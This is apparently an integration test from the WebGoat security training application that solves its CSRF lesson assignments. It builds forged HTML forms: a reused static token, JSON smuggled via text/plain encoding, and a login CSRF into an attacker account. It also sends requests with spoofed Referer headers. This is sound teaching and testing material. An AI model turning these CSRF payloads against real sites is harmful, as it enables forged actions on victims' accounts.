/*
 * SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
 * SPDX-License-Identifier: GPL-2.0-or-later
 */
package org.owasp.webgoat.integration;

import static org.assertj.core.api.Assertions.assertThat;
import static org.junit.jupiter.api.Assertions.assertTrue;
import static org.junit.jupiter.api.DynamicTest.dynamicTest;

import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import lombok.Data;
import lombok.SneakyThrows;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DynamicTest;
import org.junit.jupiter.api.TestFactory;
import org.owasp.webgoat.container.lessons.Assignment;

public class CSRFIntegrationTest extends IntegrationTest {

  private static final String trickHTML3 =
      "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
          + "<input type=\"hidden\" name=\"csrf\" value=\"thisisnotchecked\"/>\n"
          + "<input type=\"submit\" name=\"submit\" value=\"assignment 3\"/>\n"
          + "</form></body></html>";

  private static final String trickHTML4 =
      "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
          + "<input type=\"hidden\" name=\"reviewText\" value=\"hoi\"/>\n"
          + "<input type=\"hidden\" name=\"starts\" value=\"3\"/>\n"
          + "<input type=\"hidden\" name=\"validateReq\""
          + " value=\"2aa14227b9a13d0bede0388a7fba9aa9\"/>\n"
          + "<input type=\"submit\" name=\"submit\" value=\"assignment 4\"/>\n"
          + "</form>\n"
          + "</body></html>";

  private static final String trickHTML7 =
      "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" enctype='text/plain'"
          + " method=\"POST\">\n"
          + "<input type=\"hidden\""
          + " name='{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat"
          + " is the best!!' value='\"}' />\n"
          + "<input type=\"submit\" value=\"assignment 7\"/>\n"
          + "</form></body></html>";

  private static final String trickHTML8 =
      "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
          + "<input type=\"hidden\" name=\"username\" value=\"csrf-USERNAME\"/>\n"
          + "<input type=\"hidden\" name=\"password\" value=\"password\"/>\n"
          + "<input type=\"hidden\" name=\"matchingPassword\" value=\"password\"/>\n"
          + "<input type=\"hidden\" name=\"agree\" value=\"agree\"/>\n"
          + "<input type=\"submit\" value=\"assignment 8\"/>\n"
          + "</form></body></html>";

  private String webwolfFileDir;

  @BeforeEach
  @SneakyThrows
  public void init() {
    startLesson("CSRF");
    webwolfFileDir = getWebWolfFileServerLocation();
      uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", webGoatUrlConfig.url("csrf/basic-get-flag")));
      uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", webGoatUrlConfig.url("csrf/review")));
      uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", webGoatUrlConfig.url("csrf/feedback/message")));
      uploadTrickHtml(
        "csrf8.html",
        trickHTML8.replace("WEBGOATURL", webGoatUrlConfig.url("login")).replace("USERNAME", this.getUser()));
  }

  @TestFactory
  Iterable<DynamicTest> testCSRFLesson() {
    return Arrays.asList(
        dynamicTest("assignment 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))),
        dynamicTest("assignment 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))),
        dynamicTest("assignment 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))),
        dynamicTest("assignment 8", () -> checkAssignment8(callTrickHtml("csrf8.html"))));
  }

  @AfterEach
  public void shutdown() throws IOException {
    // logout();
    login(); // because old cookie got replaced and invalidated
    startLesson("CSRF", false);
    checkResults("CSRF");
  }

  private void uploadTrickHtml(String htmlName, String htmlContent) throws IOException {

    // remove any left over html
    Path webWolfFilePath = Paths.get(webwolfFileDir);
    if (webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)).toFile().exists()) {
      Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)));
    }

    // upload trick html
    RestAssured.given()
        .when()
        .relaxedHTTPSValidation()
        .cookie("WEBWOLFSESSION", getWebWolfCookie())
        .multiPart("file", htmlName, htmlContent.getBytes())
        .post(webWolfUrlConfig.url("fileupload"))
        .then()
        .extract()
        .response()
        .getBody()
        .asString();
  }

  private String callTrickHtml(String htmlName) {
    String result =
        RestAssured.given()
            .when()
            .relaxedHTTPSValidation()
            .cookie("JSESSIONID", getWebGoatCookie())
            .cookie("WEBWOLFSESSION", getWebWolfCookie())
            .get(webWolfUrlConfig.url("files/%s/%s".formatted(this.getUser(), htmlName)))
            .then()
            .extract()
            .response()
            .getBody()
            .asString();
    result = result.substring(8 + result.indexOf("action=\""));
    result = result.substring(0, result.indexOf("\""));

    return result;
  }

  private void checkAssignment3(String goatURL) {
    String flag =
        RestAssured.given()
            .when()
            .relaxedHTTPSValidation()
            .cookie("JSESSIONID", getWebGoatCookie())
            .header("Referer", webWolfUrlConfig.url("files/fake.html"))
            .post(goatURL)
            .then()
            .extract()
            .path("flag")
            .toString();

    Map<String, Object> params = new HashMap<>();
    params.put("confirmFlagVal", flag);
      checkAssignment(webGoatUrlConfig.url("csrf/confirm-flag-1"), params, true);
  }

  private void checkAssignment4(String goatURL) {

    Map<String, Object> params = new HashMap<>();
    params.put("reviewText", "test review");
    params.put("stars", "5");
    params.put(
        "validateReq", "2aa14227b9a13d0bede0388a7fba9aa9"); // always the same token is the weakness

    boolean result =
        RestAssured.given()
            .when()
            .relaxedHTTPSValidation()
            .cookie("JSESSIONID", getWebGoatCookie())
            .header("Referer", webWolfUrlConfig.url("files/fake.html"))
            .formParams(params)
            .post(goatURL)
            .then()
            .extract()
            .path("lessonCompleted");
    assertTrue(result);
  }

  private void checkAssignment7(String goatURL) {
    Map<String, Object> params = new HashMap<>();
    params.put(
        "{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the"
            + " best!!",
        "\"}");

    String flag =
        RestAssured.given()
            .when()
            .relaxedHTTPSValidation()
            .cookie("JSESSIONID", getWebGoatCookie())
            .header("Referer", webWolfUrlConfig.url("files/fake.html"))
            .contentType(ContentType.TEXT)
            .body(
                "{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is"
                    + " the best!!=\"}")
            .post(goatURL)
            .then()
            .extract()
            .asString();
    flag = flag.substring(9 + flag.indexOf("flag is:"));
    flag = flag.substring(0, flag.indexOf("\""));

    params.clear();
    params.put("confirmFlagVal", flag);
      checkAssignment(webGoatUrlConfig.url("csrf/feedback"), params, true);
  }

  private void checkAssignment8(String goatURL) {

    // first make sure there is an attack csrf- user
    registerCSRFUser();

    Map<String, Object> params = new HashMap<>();
    params.put("username", "csrf-" + this.getUser());
    params.put("password", "password");

    // login and get the new cookie
    String newCookie =
        RestAssured.given()
            .when()
            .relaxedHTTPSValidation()
            .cookie("JSESSIONID", getWebGoatCookie())
            .header("Referer", webWolfUrlConfig.url("files/fake.html"))
            .params(params)
            .post(goatURL)
            .then()
            .extract()
            .cookie("JSESSIONID");

    // select the lesson
      RestAssured.given()
        .when()
        .relaxedHTTPSValidation()
        .cookie("JSESSIONID", newCookie)
        .get(webGoatUrlConfig.url("CSRF.lesson.lesson"))
        .then()
        .statusCode(200);

    // click on the assignment
      boolean result =
        RestAssured.given()
            .when()
            .relaxedHTTPSValidation()
            .cookie("JSESSIONID", newCookie)
            .post(webGoatUrlConfig.url("csrf/login"))
            .then()
            .statusCode(200)
            .extract()
            .path("lessonCompleted");

    assertThat(result).isTrue();

    login();
    startLesson("CSRF", false);

      Overview[] assignments =
        RestAssured.given()
            .cookie("JSESSIONID", getWebGoatCookie())
            .relaxedHTTPSValidation()
            .get(webGoatUrlConfig.url("service/lessonoverview.mvc/CSRF"))
            .then()
            .extract()
            .jsonPath()
            .getObject("$", Overview[].class);
    assertThat(assignments)
        .filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin"))
        .extracting(o -> o.solved)
        .containsExactly(true);
  }

  @Data
  private static class Overview {
    Assignment assignment;
    boolean solved;
  }

  /** Try to register the new user. Ignore the result. */
  private void registerCSRFUser() {

      RestAssured.given()
        .when()
        .relaxedHTTPSValidation()
        .formParam("username", "csrf-" + this.getUser())
        .formParam("password", "password")
        .formParam("matchingPassword", "password")
        .formParam("agree", "agree")
        .post(webGoatUrlConfig.url("register.mvc"));
  }
}
